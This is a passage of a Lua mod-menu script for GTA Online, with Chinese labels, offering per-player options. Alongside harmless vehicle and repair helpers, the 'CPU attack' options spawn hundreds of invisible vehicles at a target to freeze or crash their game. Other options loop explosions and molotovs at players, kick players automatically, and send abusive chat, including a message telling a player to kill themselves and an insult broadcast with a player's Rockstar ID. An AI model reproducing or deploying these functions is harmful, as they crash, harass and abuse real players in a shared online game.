        menu.trigger_commands("giveotr" .. players.get_name(pid))
        menu.trigger_commands("delveh" .. players.get_name(pid))
        menu.trigger_commands("superc")
        for i, object in ipairs(entities.get_all_objects_as_handles()) do
            if ENTITY.DOES_ENTITY_EXIST(object, util.joaat("sum_prop_dufocore_01a")) then
            entities.delete_by_handle(object)
            wait()
            end
        end
    end
end)

    GTAC(givevehicle, "MK2", {"givemk2"}, "", function()
        menu.show_command_box("as " .. PLAYER.GET_PLAYER_NAME(pid) .. " oppressor2")
    end, nil, nil, COMMANDPERM_FRIENDLY)

    GTAC(givevehicle, "德罗索", {"givedeluxo"}, "", function()
        menu.show_command_box("as " .. PLAYER.GET_PLAYER_NAME(pid) .. " deluxo")
    end, nil, nil, COMMANDPERM_FRIENDLY)

    GTAC(givevehicle, "巴士", {"givefestivalbus"}, "", function()
        menu.show_command_box("as " .. PLAYER.GET_PLAYER_NAME(pid) .. " pbus2")
    end, nil, nil, COMMANDPERM_FRIENDLY)
    
    GTAC(givevehicle, "叉车", {"giveforklift"}, "", function()
        menu.show_command_box("as " .. PLAYER.GET_PLAYER_NAME(pid) .. " forklift")
    end, nil, nil, COMMANDPERM_FRIENDLY)

    GTAC(givevehicle, "可汗贾利坦克", {"givekhanjali"}, "", function()
        menu.show_command_box("as " .. PLAYER.GET_PLAYER_NAME(pid) .. " khanjali")
    end, nil, nil, COMMANDPERM_FRIENDLY)

    GTAC(givevehicle, "大脚车", {"givesasquatch"}, "", function()
        menu.show_command_box("as " .. PLAYER.GET_PLAYER_NAME(pid) .. " monster4")
    end, nil, nil, COMMANDPERM_FRIENDLY)

    GTAC(givevehicle, "科幻圣甲虫", {"givescarab"}, "", function()
        menu.show_command_box("as " .. PLAYER.GET_PLAYER_NAME(pid) .. " scarab2")
    end, nil, nil, COMMANDPERM_FRIENDLY)

    GTAC(givevehicle, "水陆烈焰骑士", {"giveblazer"}, "", function()
        menu.show_command_box("as " .. PLAYER.GET_PLAYER_NAME(pid) .. " blazer5")
    end, nil, nil, COMMANDPERM_FRIENDLY)

    GTAC(givevehicle, "P-996天煞", {"givelazer"}, "", function()
        menu.show_command_box("as " .. PLAYER.GET_PLAYER_NAME(pid) .. " lazer")
    end, nil, nil, COMMANDPERM_FRIENDLY)

    GTAC(givevehicle, "九头蛇", {"givehydra"}, "", function()
        menu.show_command_box("as " .. PLAYER.GET_PLAYER_NAME(pid) .. " hydra")
    end, nil, nil, COMMANDPERM_FRIENDLY)

    GTAC(givevehicle, "LF-22星椋", {"givestarling"}, "", function()
        menu.show_command_box("as " .. PLAYER.GET_PLAYER_NAME(pid) .. " starling")
    end, nil, nil, COMMANDPERM_FRIENDLY)

    GTAC(givevehicle, "白金汉 狂焰", {"givepyro"}, "", function()
        menu.show_command_box("as " .. PLAYER.GET_PLAYER_NAME(pid) .. " pyro")
    end, nil, nil, COMMANDPERM_FRIENDLY)

	GTAC(friendly,"载具加速", {"boost"}, "",function()
		local vehicle = get_player_veh(pid,true)
		if vehicle then
			VEHICLE.MODIFY_VEHICLE_TOP_SPEED(vehicle, 100)
		end
	end, nil, nil, COMMANDPERM_FRIENDLY)

	GTAC(friendly,"疯狂加速", {"Addictboost"}, "",function()
		local vehicle = get_player_veh(pid,true)
		if vehicle then
			VEHICLE.MODIFY_VEHICLE_TOP_SPEED(vehicle, 9999999) 
		end
	end, nil, nil, COMMANDPERM_FRIENDLY)

	GTAC(friendly,"重置速度", {"resetacc"}, "",function()
		local vehicle = get_player_veh(pid,true)
		if vehicle then
			VEHICLE.MODIFY_VEHICLE_TOP_SPEED(vehicle, 1) 
		end
	end, nil, nil, COMMANDPERM_FRIENDLY)

    GTAC(friendly,"漂移模式", {"driftmode"}, "",function()
		local vehicle = get_player_veh(pid,true)
		if vehicle then
			VEHICLE.SET_VEHICLE_REDUCE_GRIP(vehicle, 100)
		end
	end, nil, nil, COMMANDPERM_FRIENDLY)

	GTAC(friendly,"修理载具", {"repair"}, "", function()
		local vehicle = get_player_veh(pid,true)
		if vehicle then
			VEHICLE.SET_VEHICLE_FIXED(vehicle)
		end
	end, nil, nil, COMMANDPERM_FRIENDLY)

	GTAC(friendly,"开启载具无敌", {"invon"}, "",function()
		local vehicle = get_player_veh(pid,true)
		if vehicle then	
			ENTITY.SET_ENTITY_INVINCIBLE(vehicle, true)
			ENTITY.SET_ENTITY_INVINCIBLE(vehicle, true)
			ENTITY.SET_ENTITY_INVINCIBLE(vehicle, true)
			ENTITY.SET_ENTITY_INVINCIBLE(vehicle, true)
			ENTITY.SET_ENTITY_INVINCIBLE(vehicle, true)
			ENTITY.SET_ENTITY_INVINCIBLE(vehicle, true)
			ENTITY.SET_ENTITY_INVINCIBLE(vehicle, true)
			ENTITY.SET_ENTITY_INVINCIBLE(vehicle, true)
			ENTITY.SET_ENTITY_INVINCIBLE(vehicle, true)
			ENTITY.SET_ENTITY_INVINCIBLE(vehicle, true)
			ENTITY.SET_ENTITY_INVINCIBLE(vehicle, true)
			ENTITY.SET_ENTITY_INVINCIBLE(vehicle, true)
			ENTITY.SET_ENTITY_INVINCIBLE(vehicle, true)
			ENTITY.SET_ENTITY_INVINCIBLE(vehicle, true)
		end
	end, nil, nil, COMMANDPERM_FRIENDLY)

	GTAC(friendly,"关闭载具无敌", {"invoff"}, "",function()
		local vehicle = get_player_veh(pid,true)
		if vehicle then	
			ENTITY.SET_ENTITY_INVINCIBLE(vehicle, false)
			ENTITY.SET_ENTITY_INVINCIBLE(vehicle, false)
			ENTITY.SET_ENTITY_INVINCIBLE(vehicle, false)
			ENTITY.SET_ENTITY_INVINCIBLE(vehicle, false)
			ENTITY.SET_ENTITY_INVINCIBLE(vehicle, false)
			ENTITY.SET_ENTITY_INVINCIBLE(vehicle, false)
			ENTITY.SET_ENTITY_INVINCIBLE(vehicle, false)
			ENTITY.SET_ENTITY_INVINCIBLE(vehicle, false)
			ENTITY.SET_ENTITY_INVINCIBLE(vehicle, false)
			ENTITY.SET_ENTITY_INVINCIBLE(vehicle, false)
			ENTITY.SET_ENTITY_INVINCIBLE(vehicle, false)
			ENTITY.SET_ENTITY_INVINCIBLE(vehicle, false)
			ENTITY.SET_ENTITY_INVINCIBLE(vehicle, false)
			ENTITY.SET_ENTITY_INVINCIBLE(vehicle, false)
		end
	end, nil, nil, COMMANDPERM_FRIENDLY)

    GTTG(friendly,"友好的点赞", {}, "对他进行循环点赞", function(on)
		spam = on
		while spam do
			if pid ~= players.user() then
				menu.trigger_commands("commendfriendly " .. PLAYER.GET_PLAYER_NAME(pid))
				menu.trigger_commands("commendhelpful " .. PLAYER.GET_PLAYER_NAME(pid))
			end
			wait()
		end
	end, nil, nil, COMMANDPERM_FRIENDLY)

GTAC(friendly, "开启", {"casinohelp1"}, "", function()
    chat.send_message(
        "如果你想赚钱，就来赌场玩轮盘赌，把最大赌注押在12(50k) and  1(5k), 每分钟赢三次155万",
        false, 
        true, 
        true  
        )
    wait(150000)
end, nil, nil, COMMANDPERM_FRIENDLY)

GTAC(friendly, "开启", {"casinohelp2"}, "", function()
    chat.send_message(
        "如果你想赚钱来赌场玩21点！点击最大投注，然后点击立场，赢得2倍你的投注!",
        false, 
        true, 
        true  
        )
    wait(150000)
end, nil, nil, COMMANDPERM_FRIENDLY)

    GTTG(friendly, "分离/连接玩家", {"attachplayer"}, "", function(on)
        if PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID) == players.user_ped() then 
            return
        end
        if on then
            ENTITY.ATTACH_ENTITY_TO_ENTITY(players.user_ped(), PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID), 0, 0.0, -0.20, 2.00, 1.0, 1.0,1, true, true, true, false, 0, true)
        else
            ENTITY.DETACH_ENTITY(players.user_ped(), false, false)
            end
        end)

GTLP(friendly, "高额存款检测", {}, "检测超过6亿存款的玩家", function()
    for _, pid in ipairs(players.list(false, true, true)) do
        if players.get_money(pid) > 600000000 then 
            util.draw_debug_text(players.get_name(pid) .. " 有不正常存款")
            if kickHighMoney then 
                menu.trigger_commands("kick".. players.get_name(pid))
                util.toast(players.get_name(pid).. " 因为高额存款而被踢。")
            end
        end
    end
end)

GTTG(friendly, "踢出亿万富豪", {}, "踢出拥有高额存款的玩家\n请务必启用高额存款检测", function(toggle)
    kickHighMoney = toggle
end)

GTLP(friendly, "过高等级", {}, "检测等级超过4000的玩家", function()
    for _, pid in ipairs(players.list(false, true, true)) do
        if players.get_rank(pid) > 4000 then 
            util.draw_debug_text(players.get_name(pid) .. " 有不正常等级")
            if kickHighLevel then 
                menu.trigger_commands("kick".. players.get_name(pid))
                util.toast(players.get_name(pid).. " 因为等级过高被踢。")
            end 
        end
    end
end)

GTTG(friendly, "踢出等级过高玩家", {}, "踢出等级过高的玩家\n必须启用过高等级检测", function(toggle)
    kickHighLevel = toggle
end)

GTLP(friendly, "检测语音聊天", {}, "通知您有玩家使用语音聊天\n这不是一个很好的检测选项", function()
    for _, pid in ipairs(players.list(true, true, true)) do
        if NETWORK.NETWORK_IS_PLAYER_TALKING(pid) then 
            util.toast(players.get_name(pid) " is using voice-chat")
        end
    end
end)

    player_toggle_loop(friendly, pid, "给予喇叭加速", {}, "建议您在该玩家附近效果最佳\n可在聊天框提醒该玩家按喇叭", function()
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local veh = PED.GET_VEHICLE_PED_IS_USING(ped)
        if PLAYER.IS_PLAYER_PRESSING_HORN(pid) then
            ENTITY.APPLY_FORCE_TO_ENTITY(veh, 1, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 0, 1, 1, 1, 0, 1)
        end
    end)

    local jump = GT(friendly, "给予车辆跳跃", {}, "建议您在该玩家附近效果最佳\n可在聊天框提醒该玩家按喇叭")
    local force = 25.00
    GTluaScript.slider_float(jump, "功率", {}, "", 0, 10000, 2500, 100, function(value)
        force = value / 100
    end)
    GTLP(jump, "启用", {}, "按喇叭跳跃.", function()
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local veh = PED.GET_VEHICLE_PED_IS_USING(ped)
        if veh ~= 0 and ENTITY.DOES_ENTITY_EXIST(veh) and PLAYER.IS_PLAYER_PRESSING_HORN(pid) then
            ENTITY.APPLY_FORCE_TO_ENTITY(veh, 1, 0.0, force/1.5, force, 0.0, 0.0, 0.0, 0, 1, 1, 1, 0, 1)
            repeat
                wait()
            until not PLAYER.IS_PLAYER_PRESSING_HORN(pid)
        end
    end)

    local tp 
    tp = player_toggle_loop(friendly, pid, "给予传送能力", {}, "让该玩家聊天框发送[传送] \n注意：玩家必须在车里!!!", function()
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local veh = PED.GET_VEHICLE_PED_IS_USING(ped)

        chat.on_message(function(packet_sender, message_sender, text, team_chat)
            if string.contains(text, "传送") and PED.IS_PED_IN_VEHICLE(ped, veh, false) then  
                if players.get_name(message_sender) == players.get_name(pid) then
                    menu.trigger_commands("wptp" .. players.get_name(pid))
                end
            end
        end)
    end)

GTLP(friendly, "检测法语玩家", {}, "如果发现法国人将会通知您", function()
    for _, pid in ipairs(players.list(true, true, true)) do
        if players.get_language(pid) == 1 then
            util.toast(players.get_name(pid).. " is French!")
        end
    end
end)

    GTAC(friendly, "获取账户信息", {}, "获取玩家的帐户信息\n格式：电子邮件：密码", function()
        util.toast("你他妈还指望什么呢，混蛋！")
    end)

    GTAC(friendly, "宣布傻子等级", {}, "", function()
    local basedLevel = math.random(100)
    local basedPercentage = players.get_name(pid).. " 是 ".. basedLevel.. "% 傻子"
    chat.send_message(basedPercentage, false, true, true)
    end)

    GTAC(friendly, "告诉他们自杀", {}, "观点: 迷失了方向", function() 
    local kys = "傻子 " .. players.get_name(pid) .. ' 你应该现在就自杀！' 
    chat.send_message(kys, false, true, true)
    end)

    GTLP(friendly, "循环给予纸牌", {"dropchips"}, "看起来是一个安全的选项\n但是随时都能被玩家检测", function(toggle)
        local coords = players.get_position(pid)
        coords.z = coords.z + 1.5
        local card = MISC.GET_HASH_KEY("vw_prop_vw_lux_card_01a")
        STREAMING.REQUEST_MODEL(card)
        if STREAMING.HAS_MODEL_LOADED(card) == false then  
            STREAMING.REQUEST_MODEL(card)
        end
        OBJECT.CREATE_AMBIENT_PICKUP(-1009939663, coords.x, coords.y, coords.z, 0, 1, card, false, true)
    end)

    GTTG(friendly, "循环给予玩偶", {}, "看起来是一个安全的选项\n但是随时都能被玩家检测", function(on_toggle)
        local pos = players.get_position(pid)
        pos.z = pos.z + 1.5
        if on_toggle then
            wait(50)
            menu.trigger_commands("ceopay".. players.get_name(pid))
            menu.trigger_commands("rp".. players.get_name(pid))
            menu.trigger_commands("cards".. players.get_name(pid))
        else
            wait(50)
            menu.trigger_commands("ceopay".. players.get_name(pid))
            menu.trigger_commands("rp".. players.get_name(pid))
            menu.trigger_commands("cards".. players.get_name(pid))
        end
    end)

    GTAC(friendly, "给予升级", {}, "给予该玩家17万RP经验\n可快速从1级提升至25级", function()
        menu.trigger_commands("givecollectibles" .. players.get_name(pid))
    end)

GTLP(friendly, "循环掉落收集品", {}, "对您附近的玩家也有效", function()
for _, aPed in ipairs(entities.get_all_peds_as_handles()) do
    local pedType = PED.GET_PED_TYPE(aPed)
    if pedType < 4 then
        local selfCoords = players.get_position(players.user())
        local coords = ENTITY.GET_ENTITY_COORDS(aPed, true)
        local figure = MISC.GET_HASH_KEY("vw_prop_vw_colle_prbubble")
        loadModel(figure)
        OBJECT.CREATE_AMBIENT_PICKUP(-1009939663, coords.x, coords.y, coords.z+1.5, 0, 1, figure, false, true)
        wait(partyDropDelay)
    end
end
end)

    local dropCard = GT(friendly, "掉落扑克牌", {}, "")

    GTluaScript.slider(dropCard, "掉落延迟", {}, "", 100, 10000, 1500, 100, function(cardDelay)  
        cardDropDelay = cardDelay
    end)
    cardDropDelay = 1500

    GTLP(dropCard, "启用", {}, "玩家每次只能获得54张牌", function()
        local coords = players.get_position(pid)
        coords.z = coords.z + 1.5
        local card = MISC.GET_HASH_KEY("vw_prop_vw_lux_card_01a")
        loadModel(card)
        OBJECT.CREATE_AMBIENT_PICKUP(-1009939663, coords.x, coords.y, coords.z, 0, 1, card, false, true)
        wait(cardDropDelay)
    end)

    GTLP(friendly, "给予脚本主机", {}, "", function()
        while players.get_script_host() ~= pid do 
            menu.trigger_commands("givesh" .. players.get_name(pid))
            wait(10)
        end
        wait(500)
    end)

    GTLP(friendly, "脚本主机赌博(俄罗斯轮盘)", {}, "可能会中断战局", function()
    for _, pid in ipairs(players.list(false, true, true)) do
        menu.trigger_commands("givesh" .. players.get_name(pid))
        wait(1500)
    end
end)

    GTAC(friendly, "修理载具", {}, "修理玩家的载具\n如果玩家不在载具中\n则修理玩家驾驶过的最后一辆载具", function()    
        local player = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local playerVehicle = PED.GET_VEHICLE_PED_IS_IN(player, true)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(playerVehicle)
        VEHICLE.SET_VEHICLE_FIXED(playerVehicle)
    end)

    GTAC(friendly, '极力保护', {'max'}, '一次性为该玩家提供:\n自动恢复/给予所有武器/永不通缉', function ()
        menu.trigger_commands("bail".. players.get_name(pid))
        menu.trigger_commands("autoheal".. players.get_name(pid))
        menu.trigger_commands("arm".. players.get_name(pid))
        menu.trigger_commands("givevehgodmode".. players.get_name(pid))
    end, nil, nil, COMMANDPERM_FRIENDLY)

    GTAC(friendly, "掉落医药包", {}, "", function()
        local p = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pId)
        local pos = ENTITY.GET_ENTITY_COORDS(p)
        local objHash = util.joaat("prop_ld_health_pack")
        requestModels(objHash)
        local pickupHash = 2406513688
        local pickup = OBJECT.CREATE_PICKUP(pickupHash, pos.x, pos.y + 1.0, pos.z, 1, 100, false, objHash)
        STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(objHash)
    end)

    GTAC(friendly, "掉落护甲", {}, "", function()
        local p = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pId)
        local pos = ENTITY.GET_ENTITY_COORDS(p)
        local objHash = util.joaat("prop_armour_pickup")
        requestModels(objHash)
        local pickupHash = 1274757841
        local pickup = OBJECT.CREATE_PICKUP(pickupHash, pos.x, pos.y + 1.0, pos.z, 1, 100, false, objHash)
        STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(objHash)
    end)

    GTAC(friendly, "横向加速带", {}, "", function() 
        local coords = players.get_position(pid)
        coords.z = coords.z - 0.2
        local player = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local heading = ENTITY.GET_ENTITY_HEADING(player)
        local heading = heading + 80
        local boostpad = entities.create_object(3287988974, coords)
        ENTITY.SET_ENTITY_HEADING(boostpad, heading)
    end)

    GTAC(friendly, "水平加速带", {}, "", function() 
        local coords = players.get_position(pid)
        coords.z = coords.z - 0.6
        local player = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local heading = ENTITY.GET_ENTITY_HEADING(player)
        local boostpad = entities.create_object(-388593496, coords)
        ENTITY.SET_ENTITY_HEADING(boostpad, heading)
    end)
    
    GTLP(friendly, "喇叭加速", {}, "给予这个玩家喇叭加速", function()  
        local player = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local vehicle = PED.GET_VEHICLE_PED_IS_IN(player, false)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle)
        local force = ENTITY.GET_ENTITY_FORWARD_VECTOR(vehicle)
        force.x = force.x * 20
        force.y = force.y * 20
        force.z = force.z * 20
        while PLAYER.IS_PLAYER_PRESSING_HORN(pid) == true do 
            NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle)
            ENTITY.APPLY_FORCE_TO_ENTITY(vehicle, 1, force.x, force.y, force.z, 0.0, 0.0, 0.0, 1, false, true, true, true, true)
            wait(100)
        end 
    end)

    local firw = {speed = 1000}
    GTLP(friendly, '天女散花', {'firew'}, '在该玩家上方放好看滴烟花', function ()
          local targets = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
          local tar1 = ENTITY.GET_ENTITY_COORDS(targets, true)
          local weap = util.joaat('weapon_firework')
          WEAPON.REQUEST_WEAPON_ASSET(weap)
          for y = 0, 1 do
            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(tar1.x, tar1.y, tar1.z + 4.0, tar1.x - math.random(-100, 100), tar1.y - math.random(-100, 100), tar1.z + math.random(0, 15), 200, 0, weap, 0, false, false, firw.speed)
            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(tar1.x, tar1.y, tar1.z + 4.0, tar1.x + math.random(-100, 100), tar1.y + math.random(-100, 100), tar1.z + math.random(0, 15), 200, 0, weap, 0, false, false, firw.speed)
            FIRE.ADD_EXPLOSION(tar1.x + math.random(-100, 100), tar1.y + math.random(-100, 100), tar1.z + math.random(0, 75), 38, 1, false, false, 0, false)
            FIRE.ADD_EXPLOSION(tar1.x - math.random(-100, 100), tar1.y - math.random(-100, 100), tar1.z + math.random(0, 75), 38, 1, false, false, 0, false) 
        end


          if not players.exists(pid) then
              util.stop_thread()
          end
      end)

    local firw = {speed = 1000}
    GTLP(friendly, '烟花攻击', {''}, '', function ()
          local targets = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
          local tar1 = ENTITY.GET_ENTITY_COORDS(targets, true)
          local weap = util.joaat('weapon_firework')
          WEAPON.REQUEST_WEAPON_ASSET(weap)
          for y = 0, 1 do
            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(tar1.x, tar1.y, tar1.z + 4.0, tar1.x - math.random(0, 0), tar1.y - math.random(0, 0), tar1.z + math.random(0, 15), 200, 0, weap, 0, false, false, firw.speed)
            MISC.SHOOT_SINGLE_BULLET_BETWEEN_COORDS(tar1.x, tar1.y, tar1.z + 4.0, tar1.x + math.random(0, 0), tar1.y + math.random(0, 0), tar1.z + math.random(0, 15), 200, 0, weap, 0, false, false, firw.speed)
            FIRE.ADD_EXPLOSION(tar1.x + math.random(0, 0), tar1.y + math.random(0, 0), tar1.z + math.random(0, 75), 70, 1, false, false, 0, false)
            FIRE.ADD_EXPLOSION(tar1.x - math.random(0, 0), tar1.y - math.random(0, 0), tar1.z + math.random(0, 75), 70, 1, false, false, 0, false) 
        end


          if not players.exists(pid) then
              util.stop_thread()
          end
      end)

    GTLP(friendly, "循环烟花", {"fireworkloop"}, "", function()
        if players.exists(pid) then
            local player_pos = players.get_position(pid)
            FIRE.ADD_EXPLOSION(player_pos.x, player_pos.y, player_pos.z - 1, 38, 1, true, false, 1, false)
            wait(100)
        end
    end)

    GTLP(friendly, "循环燃烧瓶", {"molotovloop"}, "", function()
        if players.exists(pid) then
            local player_pos = players.get_position(pid)
            FIRE.ADD_EXPLOSION(player_pos.x, player_pos.y, player_pos.z - 1, 3, 1, true, false, 1, false)
            wait(100)
        end
    end)

    local fake_pickup = 0
    local fake_pickup_names = {
        [0] = "钱袋",
        [1] = "人偶",
        [2] = "PQ豆"
    }
        local fake_pickups = {
        [0] = {
            "p_poly_bag_01_s"
        },
        [1] = {
            "vw_prop_vw_colle_alien",
            "vw_prop_vw_colle_beast",
            "vw_prop_vw_colle_imporage",
            "vw_prop_vw_colle_pogo",
            "vw_prop_vw_colle_prbubble",
            "vw_prop_vw_colle_rsrcomm",
            "vw_prop_vw_colle_rsrgeneric",
            "vw_prop_vw_colle_sasquatch"
        },
        [2] = {
            "prop_choc_pq"
        },
    }
    function _fake_pickup()
        util.create_tick_handler(function()
            local objects = fake_pickups[fake_pickup]
            local pickup_hash = util.joaat(objects[math.random(1, #objects)])
            local player_pos = players.get_position(pid)
            local pickup_pos = v3.new(player_pos.x, player_pos.y, player_pos.z + 2.25)
            local pickup_sound = "Bus_Schedule_Pickup"
            local pickup_sound_ref = "DLC_PRISON_BREAK_HEIST_SOUNDS"
            request_model(pickup_hash)
            local pickup = entities.create_object(pickup_hash, pickup_pos)
            ENTITY.SET_ENTITY_COLLISION(pickup, false, true)
            ENTITY.APPLY_FORCE_TO_ENTITY_CENTER_OF_MASS(
                pickup, 1, 0, 0, 0,
                true, false, true, true
            )

            repeat
                player_pos = players.get_position(pid)
                pickup_pos = ENTITY.GET_ENTITY_COORDS(pickup, false)
                local is_height_reached = pickup_pos.z <= player_pos.z + 1.25

                wait()
            until is_height_reached

            AUDIO.PLAY_SOUND_FROM_COORD(
                -1, pickup_sound, player_pos.x, player_pos.y, player_pos.z, pickup_sound_ref, true, 1, false
            )
            entities.delete_by_handle(pickup)
            return false
        end)
    end

    local fake_pickup_slider = GTluaScript.slider_text(friendly, "虚假掉落", {"fakepickup"}, "", fake_pickup_names, function()
        _fake_pickup()
    end)

    util.create_tick_handler(function()
        if not players.exists(pid) then
            return false
        end

        fake_pickup = GTluaScript.get_value(fake_pickup_slider)
    end)



    local pteleportEntities = GT(playerMain, "传送恶搞", {}, "")
    GTAC(pteleportEntities, "传送NPC", {""}, "", function ()
        TpAllPeds(pid)
    end)
    GTAC(pteleportEntities, "传送载具", {""}, "", function ()
        TpAllVehs(pid)
    end)
    GTAC(pteleportEntities, "传送实体", {""}, "", function ()
        TpAllObjects(pid)
    end)
    GTAC(pteleportEntities, "传拾取物", {""}, "", function ()
        TpAllPickups(pid)
    end)

    GTAC(pteleportEntities, '传送玩家到目的地', {'tele'}, '将该玩家传送到他地图上设置的导航点(目的地)', function ()
       local x, y, z, b = players.get_waypoint(pid)
       if HUD.IS_WAYPOINT_ACTIVE() then
        local curway = HUD.GET_BLIP_INFO_ID_COORD(HUD.GET_FIRST_BLIP_INFO_ID(8))
        HUD.SET_WAYPOINT_OFF()
        HUD.SET_NEW_WAYPOINT(x, y)
        menu.trigger_commands("WPTP".. players.get_name(pid))
        wait(1500)
        HUD.SET_NEW_WAYPOINT(curway.x, curway.y)
        else
            HUD.SET_NEW_WAYPOINT(x, y)
            menu.trigger_commands("WPTP".. players.get_name(pid))
            HUD.SET_WAYPOINT_OFF()
       end

    end, nil, nil, COMMANDPERM_FRIENDLY)

    GTAC(pteleportEntities, "将玩家传送到花园银行", {""}, "将该玩家的车辆传送到花园银行上方", function()
        sqhy(pid)
    end)

    GTAC(pteleportEntities, "将玩家传送到高空", {""}, "", function()
        sqgk(pid)
    end)

	local cpuburn = GT(playerMain, "CPU攻击", {}, "")
	fish_options = GT(cpuburn, "CPU V1", {}, "")

	GTD(fish_options, "炸鱼")
	
    Ptools_PanTable = {}
    Ptools_PanCount = 1
    Ptools_FishPan = 20

    GTAC(fish_options, "炸鱼", {""}, "卡死", function ()
        local targetped = PLAYER.GET_PLAYER_PED(pid)
        local targetcoords = ENTITY.GET_ENTITY_COORDS(targetped)

        local hash = util.joaat("tug")
        STREAMING.REQUEST_MODEL(hash)
        while not STREAMING.HAS_MODEL_LOADED(hash) do wait() end

        for i = 1, Ptools_FishPan do
            Ptools_PanTable[Ptools_PanCount] = VEHICLE.CREATE_VEHICLE(hash, targetcoords.x, targetcoords.y, targetcoords.z, 0, true, true, true)
            ----
            local netID = NETWORK.NETWORK_GET_NETWORK_ID_FROM_ENTITY(Ptools_PanTable[Ptools_PanCount])
            NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(Ptools_PanTable[Ptools_PanCount])
            NETWORK.NETWORK_REQUEST_CONTROL_OF_NETWORK_ID(netID)
            NETWORK.SET_NETWORK_ID_EXISTS_ON_ALL_MACHINES(netID)
            NETWORK.SET_NETWORK_ID_CAN_MIGRATE(netID, false)
            NETWORK.SET_NETWORK_ID_ALWAYS_EXISTS_FOR_PLAYER(netID, pid, true)
            ENTITY.SET_ENTITY_AS_MISSION_ENTITY(Ptools_PanTable[Ptools_PanCount], true, false)
            ENTITY.SET_ENTITY_VISIBLE(Ptools_PanTable[Ptools_PanCount], false, 0)
            ----
            if SE_Notifications then
                util.toast("Spawned with index of " .. Ptools_PanCount)
            end
            Ptools_PanCount = Ptools_PanCount + 1
        end
    end)


    GTluaScript.slider(fish_options, "数量", {""}, "鱼的数量1-300", 1, 300, 20, 1, function(value)
        Ptools_FishPan = value
    end)

    GTAC(fish_options, "删除", {""}, "Yep", function ()
        for x = 1, 5, 1 do
            for i = 1, #Ptools_PanTable do
                entities.delete_by_handle(Ptools_PanTable[i])
                wait(10)
            end
        end
        --
        Ptools_PanCount = 1
        Ptools_PanTable = {}
        STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(util.joaat("tug"))
    end)
	
GTAC(cpuburn,"CPU V2", {}, "CPU v2", function() 
		while not STREAMING.HAS_MODEL_LOADED(447548909) do
			STREAMING.REQUEST_MODEL(447548909)
			wait(10)
		end
		local self_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user())
        local OldCoords = ENTITY.GET_ENTITY_COORDS(self_ped) 
		ENTITY.SET_ENTITY_COORDS_NO_OFFSET(self_ped, 24, 7643.5, 19, true, true, true)

		notification("开始干他", colors.pink)
		menu.trigger_commands("anticrashcamera on")
		local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
		local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
		spam_amount = 300
		while spam_amount >= 1 do
			entities.create_vehicle(447548909, PlayerPedCoords, 0)
			spam_amount = spam_amount - 1
			wait(10)
		end
		notification("干完", colors.pink) 
		menu.trigger_commands("anticrashcamera off")
		wait(5000)
	end)

    GTLP(cpuburn,"CPU V3", {"CPU v3"}, "CPU v3", function() 
		while not STREAMING.HAS_MODEL_LOADED(-305727417) do
			STREAMING.REQUEST_MODEL(-305727417)
			wait(10)
		end
		local self_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(players.user())
        local OldCoords = ENTITY.GET_ENTITY_COORDS(self_ped) 
		ENTITY.SET_ENTITY_COORDS_NO_OFFSET(self_ped, 24, 7643.5, 19, true, true, true)
		notification("开始干他", colors.pink)
        menu.trigger_commands("violentfreeze" .. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("rockets" .. PLAYER.GET_PLAYER_NAME(pid))
		local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
		local PlayerPedCoords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
		spam_amount = 300
		while spam_amount >= 1 do
			entities.create_vehicle(-305727417, PlayerPedCoords, 0)
			spam_amount = spam_amount - 1
			wait(10)
		end
		notification("干完", colors.pink) 
        menu.trigger_commands("violentfreeze" .. PLAYER.GET_PLAYER_NAME(pid))
        menu.trigger_commands("rockets" .. PLAYER.GET_PLAYER_NAME(pid))
		wait(5000)
	end)
   
function GetInteriorPlayerIsIn(pid)
    return memory.read_int(memory.script_global(((2657589 + 1) + (pid * 466)) + 245)) -- Global_2657589[bVar0 /*466*/].f_245)
end

    local antimodder = GT(playerMain, "反作弊者", {}, "")
    local kill_godmode = GT(antimodder, "击杀无敌玩家", {}, "")

    GTAC(antimodder, "手动嘲讽", {}, "", function(click_type)
        local types = {'GT LUA'}
        local det_type = types[math.random(1, #types)]
        chat.send_message('> ' .. players.get_name(pid) .. " 崩你妈个臭逼,崩不掉只会狗叫,你妈是不是骨灰盒被扬了,你他妈的全家是不是吃三鹿奶粉长大的,死脑残!! (" .. det_type .. ")".. "RID:" ..players.get_rockstar_id(pid), false, true, true)
    end)

    GTAC(antimodder, "显示位置", {}, "在地图上显示该玩家的标记", function()    
        local playerw = players.get_waypoint(pid)
        for i = 1, 5 do
            HUD.REFRESH_WAYPOINT()
        end
        HUD.SET_NEW_WAYPOINT(playerw, playerw, false)
        wait(2000)
        util.toast("玩家的标志应该在地图上。")
        wait(500)
        util.toast("未检测到玩家无法标记")
    end)

